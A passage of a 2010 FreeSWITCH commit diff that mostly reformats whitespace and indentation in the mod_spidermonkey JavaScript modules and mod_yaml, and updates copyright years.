char var_name[SWITCH_UUID_FORMATTED_LENGTH + 25];
char *p;
switch_status_t status = SWITCH_STATUS_FALSE;
-
+
if (!jss || !jss->session) {
return SWITCH_STATUS_FALSE;
}
@@ -1117,13 +1117,13 @@
switch_uuid_get(&uuid);
switch_uuid_format(uuid_str, &uuid);
-
+
switch_snprintf(var_name, sizeof(var_name), "__event_%s", uuid_str);
- for(p = var_name; p && *p; p++) {
+ for (p = var_name; p && *p; p++) {
if (*p == '-') {
*p = '_';
}
- }
+ }
JS_ResumeRequest(cb_state->cx, cb_state->saveDepth);
METHOD_SANITY_CHECK();
@@ -1151,7 +1151,7 @@
case SWITCH_INPUT_TYPE_DTMF:
{
switch_dtmf_t *dtmf = (switch_dtmf_t *) input;
-
+
if (dtmf) {
if ((Event = new_js_dtmf(dtmf, var_name, cb_state->cx, cb_state->obj))) {
argv[argc++] = STRING_TO_JSVAL(JS_NewStringCopyZ(cb_state->cx, "dtmf"));
@@ -1175,7 +1175,7 @@
}
status = SWITCH_STATUS_SUCCESS;
-done:
+ done:
cb_state->saveDepth = JS_SuspendRequest(cb_state->cx);
jss->stack_depth--;
return status;
@@ -1450,7 +1450,7 @@
args.input_callback = dtmf_func;
args.buf = bp;
args.buflen = len;
-
+
switch_ivr_record_file(jss->session, &fh, file_name, &args, limit);
JS_ResumeRequest(cx, cb_state.saveDepth);
check_hangup_hook(jss, &ret);
@@ -1594,7 +1594,7 @@
return ret;
}
-static jsval check_hangup_hook(struct js_session *jss, jsval *rp)
+static jsval check_hangup_hook(struct js_session *jss, jsval * rp)
{
jsval argv[3] = { 0 };
int argc = 0;
@@ -1753,7 +1753,7 @@
int32 ms = 0;
jsval ret = JS_TRUE;
int32 sync = 0;
-
+
METHOD_SANITY_CHECK();
channel = switch_core_session_get_channel(jss->session);
CHANNEL_SANITY_CHECK();
@@ -2123,7 +2123,9 @@
{
struct js_session *jss = JS_GetPrivate(cx, obj);
- *rval = BOOLEAN_TO_JSVAL((jss && jss->session && switch_channel_test_flag(switch_core_session_get_channel(jss->session), CF_ANSWERED)) ? JS_TRUE : JS_FALSE);
+ *rval =
+ BOOLEAN_TO_JSVAL((jss && jss->session
+ && switch_channel_test_flag(switch_core_session_get_channel(jss->session), CF_ANSWERED)) ? JS_TRUE : JS_FALSE);
return JS_TRUE;
}
@@ -2186,7 +2188,7 @@
int32 timeout = 60000;
jsrefcount saveDepth;
jsval ret = JS_TRUE;
-
+
METHOD_SANITY_CHECK();
channel = switch_core_session_get_channel(jss->session);
@@ -2200,8 +2202,8 @@
}
if (check_hangup_hook(jss, NULL) != JS_TRUE) {
- return JS_FALSE;
- }
+ return JS_FALSE;
+ }
saveDepth = JS_SuspendRequest(cx);
for (;;) {
@@ -2245,7 +2247,7 @@
cause = switch_channel_str2cause(cause_name);
}
}
-
+
if (cause) {
channel = switch_core_session_get_channel(session);
switch_channel_hangup(channel, cause);
@@ -2289,7 +2291,7 @@
if (check_hangup_hook(jss, NULL) != JS_TRUE) {
return JS_FALSE;
}
-
+
saveDepth = JS_SuspendRequest(cx);
switch_core_session_exec(jss->session, application_interface, app_arg);
JS_ResumeRequest(cx, saveDepth);
@@ -2826,7 +2828,7 @@
{
struct js_session *jss = NULL;
JSObject *session_obj = NULL;
-
+
jss = malloc(sizeof(*jss));
switch_assert(jss);
memset(jss, 0, sizeof(*jss));
@@ -2835,7 +2837,7 @@
JS_SetPrivate(cx, obj, jss);
*rval = BOOLEAN_TO_JSVAL(JS_FALSE);
-
+
if (argc > 0) {
char *uuid = JS_GetStringBytes(JS_ValueToString(cx, argv[0]));
@@ -2851,7 +2853,7 @@
old_jss = JS_GetPrivate(cx, session_obj);
}
}
- if (switch_ivr_originate(old_jss ? old_jss->session : NULL,
+ if (switch_ivr_originate(old_jss ? old_jss->session : NULL,
&jss->session, &jss->cause, uuid, 60, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL) == SWITCH_STATUS_SUCCESS) {
switch_set_flag(jss, S_HUP);
switch_channel_set_state(switch_core_session_get_channel(jss->session), CS_SOFT_EXECUTE);
@@ -2948,18 +2950,18 @@
if (JS_ValueToObject(cx, argv[0], &session_obj)) {
struct js_session *old_jss = NULL;
if (session_obj && (old_jss = JS_GetPrivate(cx, session_obj))) {
-
+
if (old_jss == jss) {
eval_some_js("~throw new Error(\"Supplied a_leg session is the same as our session\");", cx, obj, rval);
return JS_FALSE;
-
+
};
-
+
if (!old_jss->session) {
eval_some_js("~throw new Error(\"Supplied a_leg session is not initilaized!\");", cx, obj, rval);
return JS_FALSE;
}
-
+
session = old_jss->session;
orig_caller_profile = switch_channel_get_caller_profile(switch_core_session_get_channel(session));
dialplan = orig_caller_profile->dialplan;
@@ -3013,7 +3015,8 @@
caller_profile = switch_caller_profile_new(pool, username, dialplan, cid_name, cid_num, network_addr, ani, aniii, rdnis, modname, context, dest);
saveDepth = JS_SuspendRequest(cx);
- status = switch_ivr_originate(session, &peer_session, &jss->cause, dest, to ? atoi(to) : 60, NULL, NULL, NULL, caller_profile, NULL, SOF_NONE, NULL);
+ status =
+ switch_ivr_originate(session, &peer_session, &jss->cause, dest, to ? atoi(to) : 60, NULL, NULL, NULL, caller_profile, NULL, SOF_NONE, NULL);
JS_ResumeRequest(cx, saveDepth);
if (status != SWITCH_STATUS_SUCCESS) {
@@ -3374,7 +3377,7 @@
if (argc > 0) {
JS_ValueToInt32(cx, argv[0], &msec);
- }
+ }
if (msec) {
switch_yield(msec * 1000);
@@ -3437,7 +3440,7 @@
SWITCH_STANDARD_STREAM(stream);
switch_api_execute(cmd, arg, session, &stream);
- *rval = STRING_TO_JSVAL(JS_NewStringCopyZ(cx, switch_str_nil((char *)stream.data)));
+ *rval = STRING_TO_JSVAL(JS_NewStringCopyZ(cx, switch_str_nil((char *) stream.data)));
switch_safe_free(stream.data);
} else {
@@ -3597,7 +3600,7 @@
struct js_session *jss;
JSContext *cx = NULL;
jsval rval;
-
+
if (zstr(input_code)) {
return;
}
@@ -3624,7 +3627,7 @@
script = input_code;
- if (*script != '~') {
+ if (*script != '~') {
if ((arg = strchr(script, ' '))) {
*arg++ = '\0';
argc = switch_separate_string(arg, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
@@ -3771,7 +3774,7 @@
{
// this causes a crash
//JS_DestroyRuntime(globals.rt);
-
+
curl_global_cleanup();
switch_core_hash_destroy(&module_manager.mod_hash);
Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.h (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -150,7 +150,7 @@
struct js_session_speech *speech;
};
-JSBool DEFAULT_SET_PROPERTY(JSContext * cx, JSObject *obj, jsval id, jsval *vp)
+JSBool DEFAULT_SET_PROPERTY(JSContext * cx, JSObject * obj, jsval id, jsval * vp)
{
eval_some_js("~throw new Error(\"this property cannot be changed!\");", cx, obj, vp);
return JS_FALSE;
Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_core_db.c (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_core_db.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_core_db.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -190,10 +190,10 @@
break;
} else if (result == SWITCH_CORE_DB_BUSY) {
running++;
- switch_cond_next(); /* wait a bit before retrying */
+ switch_cond_next(); /* wait a bit before retrying */
continue;
- }
- if (switch_core_db_finalize(dbo->stmt) != SWITCH_CORE_DB_OK) {
+ }
+ if (switch_core_db_finalize(dbo->stmt) != SWITCH_CORE_DB_OK) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error %s\n", switch_core_db_errmsg(dbo->db));
}
dbo->stmt = NULL;
@@ -209,7 +209,7 @@
*/
static JSBool db_next(JSContext * cx, JSObject * obj, uintN argc, jsval * argv, jsval * rval)
{
- /* return true until no more rows available */
+ /* return true until no more rows available */
return db_step_ex(cx, obj, argc, argv, rval, SWITCH_CORE_DB_ROW);
}
@@ -218,7 +218,7 @@
*/
static JSBool db_step(JSContext * cx, JSObject * obj, uintN argc, jsval * argv, jsval * rval)
{
- /* return true when the statement has finished executing successfully */
+ /* return true when the statement has finished executing successfully */
return db_step_ex(cx, obj, argc, argv, rval, SWITCH_CORE_DB_DONE);
}
@@ -242,7 +242,7 @@
for (x = 0; x < colcount; x++) {
const char *var = (char *) switch_core_db_column_name(dbo->stmt, x);
const char *val = (char *) switch_core_db_column_text(dbo->stmt, x);
-
+
if (var && val) {
switch_snprintf(code, sizeof(code), "~_dB_RoW_DaTa_[\"%s\"] = \"%s\"", var, val);
eval_some_js(code, dbo->cx, dbo->obj, rval);
@@ -289,7 +289,7 @@
struct db_obj *dbo = JS_GetPrivate(cx, obj);
JSBool status;
int32 param_index = -1;
- char *param_value = NULL;
+ char *param_value = NULL;
*rval = BOOLEAN_TO_JSVAL(JS_FALSE);
@@ -297,26 +297,26 @@
return JS_FALSE;
}
- /* db_prepare() must be called first */
+ /* db_prepare() must be called first */
if (!dbo->stmt) {
return JS_FALSE;
}
/* argv[0] = parameter index
- argv[1] = parameter value
- */
+ argv[1] = parameter value
+ */
if (argc < 2) {
return JS_FALSE;
}
-
+
/* convert args */
- status = JS_ValueToECMAUint32(cx, argv[0], (uint32*)¶m_index);
+ status = JS_ValueToECMAUint32(cx, argv[0], (uint32 *) & param_index);
switch_assert(status == JS_TRUE);
- param_value = JS_GetStringBytes(JS_ValueToString(cx, argv[1]));
+ param_value = JS_GetStringBytes(JS_ValueToString(cx, argv[1]));
if ((param_index < 1) || (NULL == param_value)) {
- return JS_FALSE;
+ return JS_FALSE;
}
/* bind param */
@@ -343,26 +343,26 @@
return JS_FALSE;
}
- /* db_prepare() must be called first */
+ /* db_prepare() must be called first */
if (!dbo->stmt) {
return JS_FALSE;
}
/* argv[0] = parameter index
- argv[1] = parameter value
- */
+ argv[1] = parameter value
+ */
if (argc < 2) {
return JS_FALSE;
}
/* convert args */
- status = JS_ValueToECMAUint32(cx, argv[0], (uint32*)¶m_index);
+ status = JS_ValueToECMAUint32(cx, argv[0], (uint32 *) & param_index);
switch_assert(status == JS_TRUE);
- status = JS_ValueToECMAUint32(cx, argv[1], (uint32*)¶m_value);
+ status = JS_ValueToECMAUint32(cx, argv[1], (uint32 *) & param_value);
switch_assert(status == JS_TRUE);
- if (param_index < 1) {
- return JS_FALSE;
+ if (param_index < 1) {
+ return JS_FALSE;
}
/* bind param */
@@ -456,7 +456,7 @@
/*.next */ NULL
};
-SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t ** module_interface)
{
*module_interface = &DB_module_interface;
return SWITCH_STATUS_SUCCESS;
Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_curl.c (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_curl.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_curl.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -128,8 +128,8 @@
curl_easy_setopt(co->curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
curl_easy_setopt(co->curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
}
-
+
if (argc > 2) {
data = JS_GetStringBytes(JS_ValueToString(cx, argv[2]));
}
@@ -240,7 +240,7 @@
/*.next */ NULL
};
-SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t ** module_interface)
{
curl_global_init(CURL_GLOBAL_ALL);
*module_interface = &curl_module_interface;
Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_odbc.c (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_odbc.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_odbc.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -86,7 +86,7 @@
return switch_odbc_handle_connect(obj->handle);
}
-static void destroy_odbc_obj(odbc_obj_t **objp)
+static void destroy_odbc_obj(odbc_obj_t ** objp)
{
odbc_obj_t *obj = *objp;
if (obj == NULL)
@@ -271,7 +271,7 @@
{
odbc_obj_t *odbc_obj = (odbc_obj_t *) JS_GetPrivate(cx, obj);
SQLLEN row_count = 0;
-
+
if (!odbc_obj || switch_odbc_handle_get_state(odbc_obj->handle) != SWITCH_ODBC_STATE_CONNECTED) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Database is not connected!\n");
goto done;
@@ -401,7 +401,7 @@
return JS_TRUE;
}
- if ( SQLNumResultCols( odbc_obj->stmt, &nColumns ) != SQL_SUCCESS )
+ if (SQLNumResultCols(odbc_obj->stmt, &nColumns) != SQL_SUCCESS)
return JS_FALSE;
for (x = 1; x <= nColumns; x++) {
@@ -431,8 +431,8 @@
JS_GetProperty(cx, obj, "_oDbC_dB_RoW_DaTa_", rval);
return JS_TRUE;
-
+
}
done:
@@ -466,7 +466,7 @@
switch_odbc_handle_disconnect(odbc_obj->handle);
- done:
+ done:
return JS_TRUE;
}
@@ -543,7 +543,7 @@
/*.next */ NULL
};
-SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t ** module_interface)
{
*module_interface = &odbc_module_interface;
return SWITCH_STATUS_SUCCESS;
Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_skel.c (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_skel.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_skel.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -93,7 +93,7 @@
/*.next */ NULL
};
-SWITCH_MOD_DECLARE(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
+SWITCH_MOD_DECLARE(switch_status_t) spidermonkey_init(const sm_module_interface_t ** module_interface)
{
*module_interface = &skel_module_interface;
return SWITCH_STATUS_SUCCESS;
Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_socket.c (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_socket.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_socket.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -324,7 +324,7 @@
/*.next */ NULL
};
-SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t ** module_interface)
{
*module_interface = &socket_module_interface;
return SWITCH_STATUS_SUCCESS;
Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_teletone.c (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_teletone.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_teletone.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -80,7 +80,7 @@
struct js_session *jss = NULL;
switch_memory_pool_t *pool;
char *timer_name = NULL;
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
@@ -109,15 +109,14 @@
return JS_FALSE;
}
- switch_core_session_get_read_impl(jss->session, &read_impl);
+ switch_core_session_get_read_impl(jss->session, &read_impl);
if (switch_core_codec_init(&tto->codec,
"L16",
NULL,
read_impl.actual_samples_per_second,
read_impl.microseconds_per_packet / 1000,
- read_impl.number_of_channels,
- SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, pool) == SWITCH_STATUS_SUCCESS) {
+ read_impl.number_of_channels, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, pool) == SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Raw Codec Activated\n");
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Raw Codec Activation Failed\n");
@@ -127,10 +126,7 @@
if (timer_name) {
unsigned int ms = read_impl.microseconds_per_packet / 1000;
if (switch_core_timer_init(&tto->timer_base,
- timer_name,
- ms,
- (read_impl.samples_per_second / 50) *
- read_impl.number_of_channels, pool) == SWITCH_STATUS_SUCCESS) {
+ timer_name, ms, (read_impl.samples_per_second / 50) * read_impl.number_of_channels, pool) == SWITCH_STATUS_SUCCESS) {
tto->timer = &tto->timer_base;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Timer INIT Success %u\n", ms);
} else {
@@ -347,7 +343,7 @@
/*.next */ NULL
};
-SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t ** module_interface)
{
*module_interface = &teletone_module_interface;
return SWITCH_STATUS_SUCCESS;
Modified: freeswitch/trunk/src/mod/languages/mod_yaml/mod_yaml.c (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_yaml/mod_yaml.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_yaml/mod_yaml.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -37,65 +37,56 @@
static void print_error(yaml_parser_t *parser)
{
- switch (parser->error)
- {
- case YAML_MEMORY_ERROR:
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Memory error: Not enough memory for parsing\n");
- break;
+ switch (parser->error) {
+ case YAML_MEMORY_ERROR:
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Memory error: Not enough memory for parsing\n");
+ break;
- case YAML_READER_ERROR:
- if (parser->problem_value != -1) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Reader error: %s: #%X at %d\n", parser->problem,
- parser->problem_value, (int) parser->problem_offset);
- }
- else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Reader error: %s at %d\n", parser->problem,
- (int) parser->problem_offset);
- }
- break;
+ case YAML_READER_ERROR:
+ if (parser->problem_value != -1) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Reader error: %s: #%X at %d\n", parser->problem,
+ parser->problem_value, (int) parser->problem_offset);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Reader error: %s at %d\n", parser->problem, (int) parser->problem_offset);
+ }
+ break;
- case YAML_SCANNER_ERROR:
- if (parser->context) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Scanner error: %s at line %d, column %d\n"
- "%s at line %d, column %d\n", parser->context,
- (int)parser->context_mark.line+1, (int)parser->context_mark.column+1,
- parser->problem, (int)parser->problem_mark.line+1,
- (int)parser->problem_mark.column+1);
- }
- else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Scanner error: %s at line %d, column %d\n",
- parser->problem, (int)parser->problem_mark.line+1,
- (int)parser->problem_mark.column+1);
- }
- break;
+ case YAML_SCANNER_ERROR:
+ if (parser->context) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Scanner error: %s at line %d, column %d\n"
+ "%s at line %d, column %d\n", parser->context,
+ (int) parser->context_mark.line + 1, (int) parser->context_mark.column + 1,
+ parser->problem, (int) parser->problem_mark.line + 1, (int) parser->problem_mark.column + 1);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Scanner error: %s at line %d, column %d\n",
+ parser->problem, (int) parser->problem_mark.line + 1, (int) parser->problem_mark.column + 1);
+ }
+ break;
- case YAML_PARSER_ERROR:
- if (parser->context) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parser error: %s at line %d, column %d\n"
- "%s at line %d, column %d\n", parser->context,
- (int)parser->context_mark.line+1, (int)parser->context_mark.column+1,
- parser->problem, (int)parser->problem_mark.line+1,
- (int)parser->problem_mark.column+1);
- }
- else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parser error: %s at line %d, column %d\n",
- parser->problem, (int)parser->problem_mark.line+1,
- (int)parser->problem_mark.column+1);
- }
- break;
-
- default:
- /* Couldn't happen. */
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Internal error\n");
- break;
+ case YAML_PARSER_ERROR:
+ if (parser->context) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parser error: %s at line %d, column %d\n"
+ "%s at line %d, column %d\n", parser->context,
+ (int) parser->context_mark.line + 1, (int) parser->context_mark.column + 1,
+ parser->problem, (int) parser->problem_mark.line + 1, (int) parser->problem_mark.column + 1);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parser error: %s at line %d, column %d\n",
+ parser->problem, (int) parser->problem_mark.line + 1, (int) parser->problem_mark.column + 1);
}
+ break;
+
+ default:
+ /* Couldn't happen. */
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Internal error\n");
+ break;
+ }
}
-static switch_xml_t parse_file(FILE *input, const char *file_name)
+static switch_xml_t parse_file(FILE * input, const char *file_name)
{
yaml_parser_t parser;
- yaml_event_t event = {0};
+ yaml_event_t event = { 0 };
char *scalar_data;
int done = 0;
int depth = 0;
@@ -108,7 +99,7 @@
yaml_parser_initialize(&parser);
yaml_parser_set_input_file(&parser, input);
-
+
if (!(xml = switch_xml_new("document"))) {
return NULL;
}
@@ -119,7 +110,7 @@
top = switch_xml_add_child_d(current, "configuration", 0);
switch_xml_set_attr_d(top, "name", file_name);
-
+
while (!done) {
if (!yaml_parser_parse(&parser, &event)) {
print_error(&parser);
@@ -139,7 +130,7 @@
scalar_data = (char *) event.data.scalar.value;
switch (depth) {
case 1:
- if (!(current = switch_xml_add_child_d(top, scalar_data, depth-1))) {
+ if (!(current = switch_xml_add_child_d(top, scalar_data, depth - 1))) {
done = 1;
}
switch_set_string(category, scalar_data);
@@ -161,7 +152,7 @@
}
break;
}
-
+
break;
default:
break;
@@ -169,14 +160,13 @@
}
yaml_event_delete(&event);
- }
+ }
yaml_parser_delete(&parser);
if (input) {
fclose(input);
}
-
#ifdef DEBUG_XML
if (xml) {
char *foo = switch_xml_toxml(xml, SWITCH_FALSE);
@@ -186,11 +176,11 @@
#endif
return xml;
-
+
}
static switch_xml_t yaml_fetch(const char *section,
- const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params, void *user_data)
+ const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params, void *user_data)
{
char *path;
FILE *input;
@@ -201,17 +191,17 @@
xml = parse_file(input, key_value);
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "cannot open %s\n", path);
- }
-
+ }
+
switch_safe_free(path);
return xml;
}
-static switch_caller_extension_t *parse_dp(FILE *input, switch_core_session_t *session, switch_caller_profile_t *caller_profile)
+static switch_caller_extension_t *parse_dp(FILE * input, switch_core_session_t *session, switch_caller_profile_t *caller_profile)
{
yaml_parser_t parser;
- yaml_event_t event = {0};
+ yaml_event_t event = { 0 };
char *scalar_data;
int done = 0;
int depth = 0;
@@ -221,7 +211,7 @@
char *last_field = NULL;
int nv = 0;
switch_caller_extension_t *extension = NULL;
- switch_channel_t *channel = switch_core_session_get_channel(session);
+ switch_channel_t *channel = switch_core_session_get_channel(session);
int context_hit = 0;
int proceed = 0;
switch_regex_t *re = NULL;
@@ -244,7 +234,7 @@
yaml_parser_initialize(&parser);
yaml_parser_set_input_file(&parser, input);
-
+
while (!done) {
if (!yaml_parser_parse(&parser, &event)) {
print_error(&parser);
@@ -273,19 +263,19 @@
char *field = switch_core_session_strdup(session, scalar_data);
char *p, *e, *expression = NULL, *field_expanded = NULL, *expression_expanded = NULL;
const char *field_data = NULL;
-
+
parens = 0;
proceed = 0;
switch_regex_safe_free(re);
if ((p = strstr(field, "=~"))) {
*p = '\0';
- e = p-1;
- while(*e == ' ') {
+ e = p - 1;
+ while (*e == ' ') {
*e-- = '\0';
}
- e = p+2;
- while(*e == ' ') {
+ e = p + 2;
+ while (*e == ' ') {
*e++ = '\0';
}
expression = e;
@@ -313,7 +303,7 @@
}
switch_safe_free(last_field);
last_field = strdup(field_data);
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "test conditions %s(%s) =~ /%s/\n", field, field_data, expression);
if (!(proceed = switch_regex_perform(field_data, expression, &re, ovector, sizeof(ovector) / sizeof(ovector[0])))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Regex mismatch\n");
@@ -344,12 +334,12 @@
char *substituted = NULL;
char *app_data;
-
+
if (!extension) {
extension = switch_caller_extension_new(session, "YAML", caller_profile->destination_number);
switch_assert(extension);
}
-
+
if (parens) {
len = (uint32_t) (strlen(value) + strlen(last_field) + 10) * proceed;
switch_zmalloc(substituted, len);
@@ -358,14 +348,14 @@
} else {
app_data = value;
}
-
+
switch_caller_extension_add_application(session, extension, name, app_data);
switch_safe_free(substituted);
}
}
break;
- }
-
+ }
+
break;
default:
break;
@@ -375,7 +365,7 @@
yaml_event_delete(&event);
}
- end:
+ end:
switch_safe_free(last_field);
switch_regex_safe_free(re);
@@ -384,7 +374,6 @@
if (input) {
fclose(input);
}
-
#ifdef DEBUG_XML
if (xml) {
char *foo = switch_xml_toxml(xml, SWITCH_FALSE);
@@ -394,7 +383,7 @@
#endif
return extension;
-
+
}
SWITCH_STANDARD_DIALPLAN(yaml_dialplan_hunt)
@@ -414,9 +403,9 @@
extension = parse_dp(input, session, caller_profile);
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening %s\n", path);
- }
-
- switch_safe_free(path);
+ }
+
+ switch_safe_free(path);
return extension;
}
@@ -424,7 +413,7 @@
static switch_status_t do_config(void)
{
yaml_parser_t parser;
- yaml_event_t event = {0};
+ yaml_event_t event = { 0 };
char *path;
const char *cfg = "mod_yaml.yaml";
FILE *input;
@@ -438,7 +427,7 @@
int nv = 0;
path = switch_mprintf("%s/yaml/%s", SWITCH_GLOBAL_dirs.conf_dir, cfg);
-
+
if (!(input = fopen(path, "r"))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening %s\n", path);
goto end;
@@ -485,7 +474,7 @@
}
break;
}
-
+
break;
default:
break;
